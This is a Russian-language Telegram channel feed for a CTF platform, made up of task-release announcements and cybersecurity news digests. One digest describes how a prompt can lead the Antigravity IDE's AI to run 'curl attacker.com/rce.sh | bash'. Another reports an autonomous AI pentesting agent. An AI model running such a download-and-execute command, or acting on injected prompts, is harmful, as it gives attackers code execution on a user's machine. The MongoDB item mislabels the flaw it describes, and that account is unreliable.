Опубликованы новые задания
Релиз #8

Шесть новых задач доступны на площадке!

🟢 Welcome / Первый CTF в России

🟢 Web / Альтушка с БАГуслуг

🟡 OSINT / Египетская сила

🟡 Rev / Bogosort

🟡 Stego / Немое кино

🟡 Forensic / Украденный флаг


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #10

Сегодня у нас юбилейный дайджест — десятый!
Продолжаю и дальше делать для вас новости :)
(с) Дима aka 3T0T_FL4G_1MB4

🕊 Государственные шпионы среди нас
Помните как мы раньше ещё смеялись и шутили над тем, что голуби — это на самом деле правительственные дроны, которые шпионят за нами? Ну знаете, теперь уже как-то не смешно. Российская компания Neiry впервые представила «биодронов» в виде живых голубей. По сути это тот же БПЛА, которому можно задать, куда полетит наша птичка (только вместо привычных железных орлов, у нас тут киберголубь).
В эти самые биодроны вшивают нейроинтерфейсы и надевают рюкзачок набитый электроникой. По словам разработчиков, после имплантации можно буквально управлять птицей: задавать маршрут, заставлять её поворачивать, менять направление — мозг стимулируется, а голубь летит куда "скажут". Прицепленная к голубю камера, кстати, обещает картинку с детализацией до 0,1 м на пиксель, а сами «биодроны» могут налетать до 500 км в сутки.
Идея в том, что такие «естественные дроны» будут летать там, где обычный БПЛА могут засечь или сбить, и служить для мониторинга важных объектов — от линий электропередач до промышленных зон. Разработчики уверяют, что технология уже проходит финальные тесты.
В общем, если раньше казалось, что голуби странно на вас смотрят — теперь вы знаете, почему.
Источник

📹 Уязвимости видеорегистраторов
В наше время видеорегистратор в тачке — очень полезная вещь. Фиксирует происшествия или позволит вам уйти от обвинения в ДТП. Но, как оказалось, вас могут подслушивать через него. Исследователи выяснили: множество популярных моделей (от ряда производителей) можно взломать за считанные секунды — достаточно подключиться к их Wi-Fi (проводимые настройки или загрузка файлов часто используют дефолтные пароли).
После взлома злоумышленник получает доступ к видео и аудио, записанным внутри машины, а также GPS-меткам, что даёт возможность отследить маршрут владельца, его парковки, а иногда — увидеть номера авто, лица пассажиров, услышать разговоры в салоне.
Обезопасить себя можно, нужно сделать что-то из этого:

— купить видеорегистратор не оснащенный модулями LTE, Wi-Fi или Bluetooth;
— отключить эти модули, если они есть в регистраторе;
— отключить опцию «контроль парковки»;
— отключить запись звука;
— регулярно обновлять ПО у регистратора.

Источник

👨‍💻 Суета из-за увольнения
В США бывший контрактник IT-отдела решил отомстить работодателю после увольнения и сделал это максимально по-технарски. Уже не работая в компании, он пробрался в инфраструктуру через чужие учётки и запустил заранее подготовленный PowerShell-скрипт, который одним махом сбросил около 2500 паролей. Вся компания проснулась в хаосе: сотрудники по всей стране не могли войти в системы, подрядчики потеряли доступ, а службы поддержки захлебнулись обращениями.
После этого он попытался «размазывать следы»: удалял журналы событий, чистил логи и вычищал всё, что могло указать на момент и источник атаки. Компания в это время приводила инфраструктуру в чувство и считала ущерб, который в итоге приблизился к 900 тысячам долларов — от простоев до полного восстановления доступа по всей сети.
Но все же парень где-то просчитался и теперь его ждёт суд, и максимум по статье составляет 10 лет федеральной тюрьмы, плюс штраф до 250 тысяч долларов. Уволили в один день, а последствий хватит на десятилетие.
Источник

🐞 Бонус: Принтеры под атакой
Anonymous отчитались в X(Twitter), что взломали аж четыре российских принтера. Хакерам удалось изменить настройки дисплея принтера, напечатать текст и перегрузить энергонезависимую память принтера. Жесть!

На этом всё! Начните декабрь, как надо, до нового года всего месяц. Всем добра!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #9

Шесть новых задач доступны на площадке!

🟢 Welcome / Крипто-квиз

🟢 Crypto / Проклятый старый дом

🟢 Crypto / Послание от Француза

🟢 Stego / Отформатированный код

🟡 Forensic / Не доела ...

🟡 Web / Путь к флагу


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #11

Поздравляю! Ещё одна неделя прошла, и завтра снова понедельник. Ну, а у нас одиннадцатый дайджест!


🤖 Очередная уязвимость от ИИ
Что, не удивлены уже? Опять уязвимость из-за нейросетей. На этот раз у Google Antigravity, этакая новая IDE на Windsurf, типа VS Code с ИИ Gemini. Интеграция Gemini 3 с IDE предполагала упрощение и ускорение программирования. Нейронка может сама писать код, управлять терминалом и браузером.
Только есть одна проблема... Исследователь Johann Rehberger ещё весной находил серьёзные уязвимости в оригинальном Windsurf — и, как оказалось, все эти баги тихо перекочевали в Antigravity.
В этой IDE включён режим Auto-Execute: если ИИ считает команду «безопасной» — она просто выполняется. Достаточно аккуратного промпта, чтобы убедить модель скачать и запустить произвольный скрипт curl attacker.com/rce.sh | bash. Результат — полноценный RCE на машине разработчика.
У пользователя с ником Deep-Hyena492 нейросеть вообще стёрла диск с файлами, файлов нет и в корзине. Это своего рода напоминание, что все команды от ИИ надо визуально проверять перед их выполнением, иначе можно неизбежно потерять не только данные, но и всю ОС.
Это самая яркая уязвимость в IDE, однако проблем гораздо больше — подробнее в источнике.
Источник

☠️ Кто стоит за срывом Договорнячка?
Хакерские группировки Beregini, KillNet и "Кибер Серп" постарались и вскрыли занавес, кто стоял за атакой на российский танкер MIDVOLGA-2. Они взломали ПК командования ВМС Украины. Из найденных документов стало понятно что, за атакой стояли служащие 385-й бригады морских беспилотников.
Окей, вы думаете на этом всё? Не-е-е-т, далеко не всё. Так же хакеры нашли и слили список моряков, а там есть и начальство, и операторы и матросы — все причастные.

Военнослужащие из этой бригады также совершали нападения на Крым, Новороссийск и Геленджик, рассказали хакеры.

Кто всё таки стоит за этим, вы можете узнать больше в источнике.
Источник


✈️ Баг 🐞 в ПО Airbus
У семейства Airbus A320 нашли баг в бортовых компьютерах при воздействии солнечного излучения. При сильной солнечной активности бортовые компьютеры могут начинать работать некорректно. Из-за этого по миру массово отменяли рейсы — большую часть самолётов пришлось загонять на проверку, пока Airbus не выпустит фиксы. А на порядка тысячи самолётов придётся полностью заменить бортовые компьютеры.
Но тут забавная ситуация, наши Airbus'ы не под воздействием этой ошибки, потому что... у нас не самые новейшие обновления ПО... Обновление программного обеспечения на Российских самолетах последний раз было в 2022 году, и проблема затрагивает только те воздушные судна, у которых самые свежие обновления.
Саму ошибку нашли в ПО, когда расследовали инцидент, где самолёт JetBlue Airways резко терял высоту. Была совершена аварийная посадка во Флориде, тогда обошлось без жертв, но 15 человек было с травмами.
Источник

На этом всё! Хорошей вам кибер-недели, и помните: не полагайтесь на ИИ, они могут стереть вам диск. Пока!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #10

Пять новых задач доступны на площадке!

🟢 Welcome / Стул 0. Начало

🟢 Forensic / Слив флагов

🟡 Misc / Вайб Шелл

🟡 Misc / Побег с помощью Brainfuck

🟡 Stego / I feel fantastic


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #12

Привет-привет всем! К нам постучался сегодня новостной дайджест №12, начнём же!

🤖 Люди против автоботов
Вы, наверное, уже заметили, как я не люблю внедрение нейронок куда попало, но вот это... Это поразительно... В Stanford провели эксперимент, который многие пока недооценивают по масштабу. Учёные решили сравнить профессиональных хакеров и ИИ не в лабораторной среде, а в живой корпоративной инфраструктуре — с реальными машинами, сервисами и последствиями.
Эксперимент был максимально приближен к реальности:
— 10 профессиональных pentester-ов
— живая университетская сеть
— около 8 000 реальных машин
— 12 подсетей
— продакшн-системы и реальные пользователи

В ту же среду они запустили автономного AI-агента под названием ARTEMIS. Результат оказался ошеломляющим.

ARTEMIS превзошел 9 из 10 человеческих экспертов:
— 9 уязвимостей
— 82% подтвержденных находок
— 2-е место в общем лидерборде
— Полностью автономная работа

Почему ИИ оказался эффективнее:
— Люди работают в одном потоке, а ARTEMIS параллельно атаковал несколько хостов
— Люди застревали в тупиках, а ARTEMIS вёл идеальный трекинг задач и памяти
— Люди страдали от кривых веб-интерфейсов, а ARTEMIS просто игнорировал браузер и бил напрямую через curl
— Так же ARTEMIS нашёл несколько уязвимостей, которые не обнаружил ни один человек

К счастью, ограничения у машины все же есть:
— Бот пока не умеет выполнять атаки, завязанные на GUI
— У машины более высокий уровень false positive, чем у человека

Главный вывод: наступательная кибербезопасность перестаёт быть исключительно человеческой профессией, в неё уже вступает конкурент в виде нейронок, и они начинают выигрывать.
Ссылка на полное исследование от Cornell University в источнике.
Источник

👻 Roblox вернулся! Или нет?
Помните как у нас в стране заблокировали игру, под названием Roblox? Столько шума было вокруг него, и не без причины, т.к. Российские пользователи составляли огромную часть этой игры, и без них режимы внутри игры опустели на большую долю. Такая игрушка больше для детей, но по мнению властей там творился сущий ад. Казино, разврат и вымогательство, ужас. Так вот, чтобы поиграть, теперь нужно заходить из другой страны.
Но тут "добрые" умельцы уже обошли это, и теперь есть сайт, который позволяет заходить в игру без него. Нужно всего лишь ввести данные учётки от Roblox, и всё... И всё, аккаунт пропал. Да, это фишинговый сайт, никакой игрушки там и нет. Нацелено это больше на богатеньких игроков, у которых есть игровая валюта, предметы или аксессуары, может даже популярные игры внутри самого Roblox.
Источник

👮‍♀️ Это всё для вашей безопасности
— Вызывайте полицию! У нас незнакомцы в доме!
— Мы и есть полиция, мы пришли установить вам наше ПО для вашей безопасности.

Наверное так сейчас происходит в Германии, когда домой приходит полиция. В Берлине полиции официально разрешили секретно проникать в квартиры, чтобы устанавливать так называемый «государственный троян» — шпионское ПО для слежки. Речь идёт не об онлайн-взломах, а о самом настоящем физическом доступе к жилью без уведомления самого владельца (только если удалённо установить это же ПО не получилось).
Такой троян позволяет читать сообщения, отслеживать переписку в мессенджерах и получать доступ к данным на устройстве. Формально всё это подаётся как мера для борьбы с тяжкими преступлениями и терроризмом, но по факту полиция может войти, поставить ПО и уйти, а человек об этом даже не узнает.
Власти утверждают, что доступ будет строго контролироваться и применяться только с санкции суда, однако так ли на самом деле это... Теперь мы знаем, как выглядит настоящая европейская свобода и демократия.
Источник

От последней новости меня даже слегка потряхивает. Стоит уже закругляться... Не болейте и хорошей вам недели!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Aperi'Solve с большими лимитами

📖 Aperi'Solve – опенсорсный инструмент, который анализирует картинки на предмет стеганографии – скрытых данных. Для этого выполняются проверки на утилитах:
– exiftool
– binwalk
– zsteg
– steghide
– outguess
– foremost
– pngcheck
– strings

📌 Сам Aperi'Solve имеет веб-интерфейс и для его использования не нужно ничего устанавливать из перечисленного списка программ, они запускаются на сервере, а результат работы отображается в браузере.
Оригинальный код находится в репозитории и запущен по адресу https://www.aperisolve.com.
Но у оригинальной веб-версии есть ограничение на обработку файлов в 1 Мб, а также сам сервис часто не доступен из России.
Чтобы немного подправить ситуацию и помочь тем, кто ранее пользовался, но испытывает трудности теперь, сервис развернут на русском VPS. Лимиты файлы увеличены до 50Мб. Сервер, справляется с такими размерами файлов, судя по тестам и нагрузке, которую они создают. Но пока до конца не понятно, как поведет себе если им постоянно пользоваться и с большими файлами. Но, думаю, что параллельно врядли будет много людей его «мучать» и должно работать, Однако, если будут проблемы с доступностью, то пишите в чат или мне в личку(@ipatove) – будем чинить и настраивать.

❗️ Сервис находится тут: https://aperi.bug-makers.ru

📌 P.S. Но я бы рекомендовал установить все эти же приложения, что запускаются на сервисе, и себе на компьютеры, так удобнее и проще пользоваться. Да и к тому же, кроме стандартных запусков анализов, у каждой программы есть еще много дополнительных флагов, которые совершают дополнительное проверки. А этот сервис с веб-интерфейсом подходит как базовый чек-лист для поиска стеганографии, или же как инструмент для анализа в ситуациях, когда рядом нет подготовленного компьютера.

———
#⃣ #CTF #Stegano

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #11

❗️Внимание!
Этот и следующие три релиза задач будут в урезанном виде — по 2-3 штуки. После Новогодних праздников вернемся в обычный режим. Пока предновогодняя суета и декабрьские рабочие дедлайны не оставляют времени ни на что другое. Да и участникам уже пора заняться поиском подарков к НГ и побольше провести времени с близкими в канун праздников, а не за компуктерами сидеть)

Две новые задачи доступны на площадке!

🟢 Welcome / Анализ трафика

🔴 OSINT / Руины Некромосов


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #13

Всем привет! Это опоздавшие новости с воскресенья, или же дайджест #13, приступим же.

🍓 Утечка пользовательских данных с Pornhub
Снова большая утечка, и на этот раз пострадал один из самых крупных 18+ сервисов в мире — Pornhub. Утечка составила более 94ГБ данных, а постарались здесь хакеры из ShinyHunters. В результате инцидента в открытый доступ попали пользовательские данные, комментарии, метаданные и многое, что пользователи предпочли бы не видеть в сети (просмотренные URL видео, названия роликов, связанные ключевые слова и временные метки посещений).
Утекли и данные о типе активности. Тип активности, это данные о просмотре/скачивании видео и просмотра самого канала. К тому же, хакеры заявляют что туда попала и история поиска. Короче компромат жёсткий. Хакеры требуют выкуп у Pornhub и угрожают, что готовы обнародовать данные.
Источник

✉️ Охота на почтовые ящики ukr[.]net
Хакеры из BlueDelta (aka APT28/FancyBear) вели масштабную кампанию по фишингу учёток пользователей UKR[.]NET (популярный почтовый сервис Украины) целый ГОД. Атаки были активны с июня 2024 до апреля 2025 года, и это не случайные попытки, а хорошо организованная разведывательная активность.
Хакеры отказались от старых схем с взломанными роутерами и перешли на маскировку через легитимные прокси-сервисы вроде ngrok и Serveo — это позволяло скрывать настоящие сервера и держать кампанию в рабочем состоянии практически без пауз.
В ход шли десятки цепочек фишинга с поддельными страницами входа на UKR[.]NET, размещёнными через Mocky API и бесплатный хостинг, а также короткие ссылки и обратные прокси для маскировки инфраструктуры. Сайты выглядели как реально работающие формы входа и собирали:
– логины и пароли
– коды двухфакторной аутентификации
– IP-адреса жертв
Кроме стандартного фишинга, злоумышленники использовали PDF-файлы, замаскированные под уведомления о подозрительной активности — внутри был «красивая» ссылка для смены пароля, которая вела на фейковую страницу.
Источник

🥷 Привет из КНДР
В Amazon вычислили северокорейца, который устроился к ним удалёнщиком сисадмином, выдавая себя за сотрудника из США. Его выдали не документы и не собес, нет. Задержка нажатий клавиш на клавиатуре. Да, вот так.
Служба безопасности заметила, что лаг между нажатием клавиши и получением сигнала был слишком большим — больше 110 миллисекунд. Для обычного удалённого работника из США это нехарактерно: такие задержки указывают, что ноутбук используется как прокси, а реальное управление идёт откуда-то ещё. Проверка показала, что устройство физически находилось в Аризоне, но управлялось удалённо операторами из Северной Кореи.
Подобные случаи не редкость. С апреля 2024 года компания пресекла более 1800 попыток трудоустройства северокорейских IT-специалистов под чужими личностями, и их число продолжает расти. Цель таких схем — зарабатывать валюту для КНДР, а иногда и заниматься шпионажем или саботажем. Поэтому их и ищут.
Источник

На этом новости — всё. Хорошей вам завершающей полной недели в этом году! Встретимся в следующее воскресенье!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #12

Предновогодний релиз, со всеми вытекающими — закончить и протестировать успели только одну задачу. Но самая сложная и суетная пора подходит к концу, 25й год уже на финишной прямой.
Следующий релиз так же будет на пару задачек, пока все, в том числе и команда БАГодельни, отдыхают и празднуют НГ.
После каникул продолжим во всю силу — собирать пачки задач размером побольше.

Одна новая задача доступна на площадке!

🔴 Web / Дуглас Муглис


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #14

Привет привет всем, надеюсь вы уже запаслись мандаринами, потому что это последние новости в этом году! Начнём же.

💴 Крипта: итоги года, от которых больно
Chainalysis выкатили статистику по кражам крипты за 2025 год, и тут интересно прослеживается одна страна... Сначала амазон, и тут оказывается крипта еще...
Основную часть криптокраж в 25-м году обеспечили группировки, связанные с Северной Кореей — прежде всего Lazarus Group и аффилированные с ней команды. По оценкам аналитиков, на них пришлось более $2 млрд из общего объёма похищенных средств. Всего за этот год хакеры украли свыше $3,4 млрд в криптовалюте, и большая часть этой суммы была получена не через массовые скамы, а за счёт нескольких точечных атак на централизованные сервисы.
Крупнейшим инцидентом года стал взлом биржи Bybit, где злоумышленники вывели около $1,5 млрд. Атака, по данным расследований, включала компрометацию внутренних процессов, доступ к приватным ключам и использование социальной инженерии.
Отчёт подчёркивает, что северокорейские группы изменили тактику:
— атак стало меньше,
— цели выбираются реже,
— но каждая операция нацелена на максимальный финансовый эффект.
Главными целями стали криптобиржи, кастодиальные сервисы и инфраструктурные провайдеры, где сосредоточены крупные резервы и остаётся высокий человеческий фактор.
Аналитики Chainalysis отмечают, что, несмотря на рост защищённости DeFi-протоколов, централизованные платформы остаются самым уязвимым звеном. Именно через них проходит большая часть «мега-взломов», формирующих общую статистику года. За графиками прошу в источник.
Источник

🥷 RCE в MongoDB
В экосистеме MongoDB нашли RCE-уязвимость, завязанную не на самой базе напрямую, а на популярной Python-связке. Уязвимость позволяет удалённо выполнить произвольный код за счёт небезопасной обработки данных при сериализации. Уязвимость получила идентификатор CVE-2025-14847. Достаточно передать специально сформированный объект и сервер сам выполнит то, что отправили в объекте. Особенно неприятно то, что уязвимость легко вписывается в реальные сценарии: API, микросервисы, фоновые задачи. Всё, что принимает данные «извне» и доверяет им чуть больше, чем стоило бы.

«Эксплуатируя реализацию zlib на сервере, атакующий может получить неинициализированную память из хипа без авторизации. Мы настоятельно рекомендуем как можно скорее обновиться до исправленной версии», — предупредила команда безопасности MongoDB.

Патчи уже вышли, и разработчики настоятельно рекомендуют как можно скорее обновиться до версий 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32 или 4.4.30. Если не получается обновить, то следует отключить сжатие zlib в MongoDB Server, запустив mongod или mongos с параметром networkMessageCompressors или net.compression.compressors.
Источник

👨‍🦳Unix V4: привет из 1973-го
И напоследок — новость для тех, кто любит археологию. Обнаружена единственная уцелевшая копия Unix V4, про которую просто забыли на 52 года. Система была написана в Bell Labs в начале 70-х и долгое время считалась утраченной. Интересно и то, как система вообще уцелела. Архив просто пролежал забытым десятки лет, пока не оказался в руках энтузиастов, которые поняли, что перед ними — не просто старый код, а редкий исторический артефакт.

Лента с Unix v4 попала к Мартину Ньюэллу — он разработал оригинальную версию знаменитого чайника, ставшего неотъемлемой частью 3D-программ по всему миру. А ещё в коде встречается столь же знаменитый комментарий «никто не ждёт, что вы это поймёте» (you are not expected to understand this).

Теперь её удалось восстановить, изучить и даже запустить в эмуляторе. Именно в таких версиях формировались идеи, которые до сих пор живут в Linux, BSD и macOS. Можно даже пощупать ее самому, если кому интересно, но необходимо создать загрузочную среду и скомпилировать систему для неё.
Источник

Вот и всё, новости подошли к концу. Встретимся уже с вами в новом году! Пока!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи